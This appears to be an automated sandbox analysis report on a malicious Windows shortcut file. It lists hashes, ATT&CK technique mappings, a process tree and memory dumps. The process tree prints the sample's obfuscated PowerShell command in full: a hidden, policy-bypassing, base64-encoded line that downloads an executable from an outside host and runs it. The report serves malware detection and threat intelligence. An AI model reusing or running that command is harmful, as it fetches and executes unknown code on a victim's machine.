3f2491926888db2c9d6c7b1a426ff41e1cd4a13bc922156a814b9fe3032ff809

Analysis

max time kernel
149s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
27/07/2024, 11:00

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General

Target

3f2491926888db2c9d6c7b1a426ff41e1cd4a13bc922156a814b9fe3032ff809.lnk
Size

2KB
MD5

a38b0a4d0768ba8ce7c73904b55ee9ff
SHA1

a1a13ef45fcf88eaff3dcffba1fb2608aa07e3c8
SHA256

3f2491926888db2c9d6c7b1a426ff41e1cd4a13bc922156a814b9fe3032ff809
SHA512

4159cd37110d910624b8bb5c837e70668b3e6d795e1ab276ea32f5ab315509dedf11bd865d4c1be41f9cec698235453996939a0ac8a45f36a28a45bdf28b7cf8

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	1812	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1812	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1812	powershell.exe
1812	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1812	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2768 wrote to memory of 2696	2768	cmd.exe	86
PID 2768 wrote to memory of 2696	2768	cmd.exe	86
PID 2696 wrote to memory of 1812	2696	cmd.exe	88
PID 2696 wrote to memory of 1812	2696	cmd.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\3f2491926888db2c9d6c7b1a426ff41e1cd4a13bc922156a814b9fe3032ff809.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cMD /c PowErsHell -EX bypAss -nOp -w hidden -eC IAAJAEkATgB2AG8ASwBFAC0AdwBFAGIAUgBlAHEAVQBFAHMAVAAgAC0AVQBSAGkAIAAJAB0gaAB0AHQAcABzADoALwAvAHIAZQBtAGkAcwBhAHQALgBjAG8AbQAuAHUAeQAvAHoAdABpAC8AaABvAHQALgBlAHgAZQAdICAALQBvAHUAVABGAGkATABlACAACQAdICQAZQBuAFYAOgBhAFAAcABkAGEAdABhAFwAUAB1AHQAdAB5AFQAZQBzAHQANwA3ADcALgBwAGkAZgAdICAAIAA7ACAACQBpAE4AdgBvAGsARQAtAGkAVABlAG0AIAAJAB0gJABFAG4AdgA6AGEAcABQAEQAYQB0AEEAXABQAHUAdAB0AHkAVABlAHMAdAA3ADcANwAuAHAAaQBmAB0g
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowErsHell -EX bypAss -nOp -w hidden -eC IAAJAEkATgB2AG8ASwBFAC0AdwBFAGIAUgBlAHEAVQBFAHMAVAAgAC0AVQBSAGkAIAAJAB0gaAB0AHQAcABzADoALwAvAHIAZQBtAGkAcwBhAHQALgBjAG8AbQAuAHUAeQAvAHoAdABpAC8AaABvAHQALgBlAHgAZQAdICAALQBvAHUAVABGAGkATABlACAACQAdICQAZQBuAFYAOgBhAFAAcABkAGEAdABhAFwAUAB1AHQAdAB5AFQAZQBzAHQANwA3ADcALgBwAGkAZgAdICAAIAA7ACAACQBpAE4AdgBvAGsARQAtAGkAVABlAG0AIAAJAB0gJABFAG4AdgA6AGEAcABQAEQAYQB0AEEAXABQAHUAdAB0AHkAVABlAHMAdAA3ADcANwAuAHAAaQBmAB0g
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kkjr4njn.cpi.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1812-0-0x00007FF982ED3000-0x00007FF982ED5000-memory.dmp

Filesize
8KB

Download
memory/1812-6-0x0000023647D50000-0x0000023647D72000-memory.dmp

Filesize
136KB

Download
memory/1812-11-0x00007FF982ED0000-0x00007FF983991000-memory.dmp

Filesize
10.8MB

Download
memory/1812-12-0x0000023662BD0000-0x0000023663376000-memory.dmp

Filesize
7.6MB

Download
memory/1812-16-0x00007FF982ED0000-0x00007FF983991000-memory.dmp

Filesize
10.8MB

Download